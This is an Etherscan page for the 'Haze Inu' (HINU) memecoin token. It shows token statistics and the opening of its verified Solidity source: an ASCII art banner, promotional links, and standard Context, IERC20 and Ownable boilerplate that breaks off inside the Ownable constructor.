ETH Price: $3,386.93 (+1.16%)

Token

Haze Inu (HINU)
 

Overview

Max Total Supply

100,000,000 HINU

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
619,135.790281421 HINU

Value
$0.00
0xa07ae8a9c8689066f3cefb4685b8a11df62462bb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HAZEINU

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-01
*/

/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣟⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣯⢳⢳⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⢿⣿⡈⣯⣾⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⡿⣭⣿⡇⢄⢣⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⣿⡲⣿⣯⠐⠌⡆⣇⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣼⣏⢷⣻⣿⢀⠣⠘⢽⣹⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⡟⡽⢮⣽⣿⡆⢡⠉⡔⢸⢧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣽⣝⡳⢾⣟⣧⠂⢅⠢⣉⡎⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⢼⡹⢧⣿⣿⡈⢄⠃⡌⠛⡍⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡟⣧⣛⢧⢿⣻⡇⠌⢒⠨⡐⣱⡖⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⡶⣹⢎⣿⡿⣷⠈⠆⡱⠠⡍⣳⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢷⢫⣗⣫⠶⣿⢿⡇⡘⢠⠁⢆⠩⢽⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣶⣴⣿⣿⡻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⣾⠿⣜⡷⣫⢿⣟⣧⠐⡡⢊⠄⣃⣜⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⢀⢤⢴⠿⣏⣯⣥⠟⣳⣽⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣯⡝⣾⣱⢻⣿⣻⠄⡡⠌⢂⢃⢻⢰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣴⣿⠛⣋⣤⡿⢛⠛⡄⢊⡝⠁⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡟⣽⣲⢭⡳⣿⣻⡆⡱⠌⢌⠢⠌⡽⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡷⠟⡟⣃⣤⣾⡿⠟⢠⠃⢌⣰⠟⠀⠀⠀⠀⠀⠀⠲⡷⠀⠀⠀⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣶⡹⣎⢷⣻⡿⣷⠠⡉⢄⠢⢱⢳⠇⠀⠀⠀⠀⠀⠀⠀⠀⢠⣶⣖⠛⣡⣪⣞⣟⣾⠟⠠⡑⠢⢘⣠⠗⠂⠀⠀⠀⠀⠀⠀⠀⠃⠀⠀⠀⠀⢠⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣏⣷⡹⢮⡝⣿⣿⡐⢈⠆⡱⠸⡗⡆⠀⠀⠀⠀⠀⠀⣾⡿⢓⠃⣚⡴⣞⣳⣾⠞⠡⣈⠒⠄⡣⣩⠗⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⠴⢿⣏⡦⣄⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠈⠻⣯⣶⣾⣖⣶⣗⡶⣕⣢⢴⡒⢄⢠⠄⡀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣶⢏⡷⣹⢿⣽⡇⢌⠂⡅⢲⣱⠁⠀⠀⠀⠀⣤⡼⠏⡐⢌⣶⡻⣽⣾⠟⠁⡌⢒⠠⣘⡴⢮⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⢧⢬⠊⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠈⢿⣿⣽⡶⢯⣌⣡⠉⡌⢙⠚⣋⠓⠞⠿⣍⠦⣗⣤⣰⣀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢷⣫⢞⣵⡻⣯⣿⠀⡅⠒⡄⡓⣦⠀⠀⣀⣸⠟⡁⢆⣽⣛⣾⡿⢛⠠⠌⢒⡈⠤⢱⡡⠚⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡄⠀⠀⠀⠈⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠉⠺⣟⣯⢻⡝⣶⣌⢢⣑⠄⢋⠄⢣⠈⡍⠌⠓⡛⠾⣳⣗⢄⣠⣄⠀⠀⠀⠀⠀⣿⢏⡿⣱⣿⢿⡠⢁⠣⠐⣧⠃⠀⢠⣻⠋⢔⡼⣟⣷⡿⢋⠔⡁⢊⠜⢠⢐⡥⠞⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⡟⠁⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠛⢧⣟⡼⢞⣳⢮⣝⡳⢬⣂⡱⢠⠉⢆⡑⠢⢉⠩⠲⡙⢿⣣⡤⡀⢀⠀⠈⢿⣜⡳⣭⢿⡇⢌⠂⠥⣹⣴⢿⠟⠡⣸⣞⣿⡿⢫⢆⠡⢂⠱⡈⣐⣢⠿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠚⣿⡜⣧⠯⡽⢶⡮⣝⡓⠮⣤⣂⠱⡈⢆⠳⡈⠤⢉⠛⣜⣾⡷⣄⢺⣟⡳⣝⢾⣯⡀⠎⡐⣹⣼⠂⣌⣽⣷⡿⢋⠄⢃⠢⢑⡈⢆⣴⡽⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⢿⣹⣝⢧⡻⣜⣻⣛⡶⣬⣝⣓⠦⢥⣘⡄⠣⢌⠄⣂⠩⠸⡗⢝⣷⡹⣎⣿⡄⢡⠓⢋⠄⣣⣿⡽⢋⠰⠌⡘⢠⢑⣢⡴⠼⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠚⢳⣝⢶⡹⣜⢧⢯⣝⣻⢳⢮⣝⣓⠮⡐⢤⣁⡃⢩⠚⡍⣷⣫⢿⡇⢂⠜⢠⠊⢻⠋⠔⡁⠆⣱⣬⠟⣉⣀⡤⠤⢄⣲⢴⣶⣄⣤⢦⣤⡤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠹⠿⢮⣗⢮⣓⢯⣞⡻⣼⢟⡷⢶⡬⣽⣓⣾⢼⡳⣽⡾⣷⢘⠠⡙⢤⣧⠘⡠⠑⣌⣩⣍⣥⢶⡷⢶⢿⣻⣟⣿⣿⡷⠿⠷⠛⠿⠿⠞⣭⠷⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠚⣶⣝⣮⣛⡼⣧⣛⢶⡹⣎⢷⣹⢶⡹⢿⡌⠱⡒⡄⢂⣦⢷⣻⣭⡷⠾⠼⠛⡋⢍⠩⢉⡉⠔⡠⢐⠡⢊⣡⡮⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣾⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠤⡤⢞⡑⠚⡉⠥⡈⠔⡠⣉⢓⠻⢼⣣⢏⡾⣽⣏⡇⡙⢋⠅⣮⠓⡋⢅⢂⣴⠸⡗⠨⢴⠨⡰⠷⠐⡌⣰⣈⠦⠕⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣾⣿⣿⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⢴⣯⠭⢇⢊⠱⠠⢌⡑⣨⣄⣱⣬⣴⡵⣮⢗⡶⣹⢎⡷⣹⣞⣿⣀⣣⣌⡐⠢⣅⢌⠦⣤⠶⢬⣑⡶⠣⠵⠞⠋⣍⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣼⡟⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣰⣶⣫⣋⣍⣠⣼⣶⣾⣶⣿⣿⡿⢿⣛⢯⡳⣽⢻⣜⡯⠚⠳⣏⣿⣳⣿⣞⡟⣽⡿⣽⣳⢦⣌⠳⣬⡇⣄⠀⠀⠀⠀⠀⠀⠘⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠿⠃⣼⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠤⠶⠿⠟⠻⠽⠯⣟⣽⣻⡽⣭⣯⡽⣖⣽⢣⣏⠭⠵⠞⣶⠋⠴⣯⣾⢿⣞⠟⠁⣿⢧⠀⠙⢟⡯⣿⢾⣟⡾⢿⣜⡢⣄⠀⠀⠀⠀⠨⡏⢷⣝⢢⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣾⠏⢡⣹⣿⢿⣽⡋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⢀⢼⡞⣨⣿⡿⣯⠟⠉⠀⠀⢹⣿⡆⠀⠀⠈⠓⠛⠮⣛⣯⣟⣿⣯⣕⣦⣀⠀⠀⢹⡸⢝⣷⣙⣣⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⠏⢠⢣⣿⣟⣯⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣣⢏⣴⣿⡣⠟⠁⠀⠀⠀⠀⠀⣿⡼⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠀⠀⠀⠀⠈⣧⠎⡜⣿⣧⡝⣂⠀⠀⠀⠀⠀⠀⠀⣠⣿⠠⢌⣲⣿⡟⣾⢷⠥⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣷⣿⡯⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣵⣳⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢨⢷⠰⡌⢿⣳⣬⡳⣄⠀⠀⠀⠀⡰⡯⢉⣐⢢⣿⣯⣟⣾⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣖⣣⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣍⠘⡌⢿⣽⣗⢫⣄⠀⠀⢀⣵⢃⠢⢬⣿⣟⢾⣭⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠒⠾⠒⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣦⢳⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣎⠉⡌⢻⣾⣇⠺⡄⠀⣼⡝⢠⢲⣿⡟⣮⣻⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠫⡞⡵⡄⠀⠀⠀⠀⠀⠀⠀⠀⡀⢀⢀⠀⡀⠀⠀⠚⣇⠰⠩⢹⣿⡞⢻⣄⣯⠐⢢⣿⢿⡞⡷⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠤⢤⣶⠻⣮⣓⡤⠤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡶⣝⣆⠀⠀⠀⠀⠀⠀⠀⠙⢺⣟⠿⣽⣾⣖⣦⢈⡱⣕⠢⡙⣿⡐⢿⡠⣌⣿⡟⣧⠟⠁⢀⣀⣤⣠⣄⣴⣤⡦⣶⣤⣦⢠⣄⣄⣀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢳⡜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢖⡡⢬⣝⡻⢷⣾⣽⡗⢠⢙⢃⠆⣄⣿⢧⣿⢫⢖⡟⣭⡙⢯⡽⡉⠥⢋⠌⣩⣘⣋⡟⣻⣿⣿⣿⣷⠞⠃
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠇⠀⠀⠀⢀⣠⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠒⢎⣑⡂⠾⡙⠻⣷⡌⣣⢸⣼⣯⢿⡬⢦⠶⣰⠶⣞⣒⣖⣳⣛⣯⡽⣭⡷⣟⣟⣻⠷⠛⠉⠈⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠩⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣉⣽⣒⠣⣄⣣⢙⣾⣿⣚⣧⡟⡭⢿⣹⣏⣷⣹⣮⢽⡽⢶⠿⠟⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠤⢶⢿⣿⣻⣿⣻⡯⠟⣿⣯⢷⡽⣶⣴⣧⣂⡉⠹⠣⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠈⠀⢀⣾⠃⠘⢯⣷⣞⡯⣷⣟⢿⣷⣥⣳⣎⣲⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠁⠀⠀⠈⢿⣿⣷⡀⠉⠙⠚⠻⠿⣿⣿⣽⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣺⠟⠀⠀⠀⠀⠀⠀⠙⢿⣷⠀⠀⠀⠀⠀⠀⠀⠈⠈⠛⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

You can’t buy happiness but you can buy a bag of $HINU, and that’s pretty close!

Portal: https://t.me/HazeInu
Twitter: https://twitter.com/HazeERC
Web: www.HazeInu.com
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
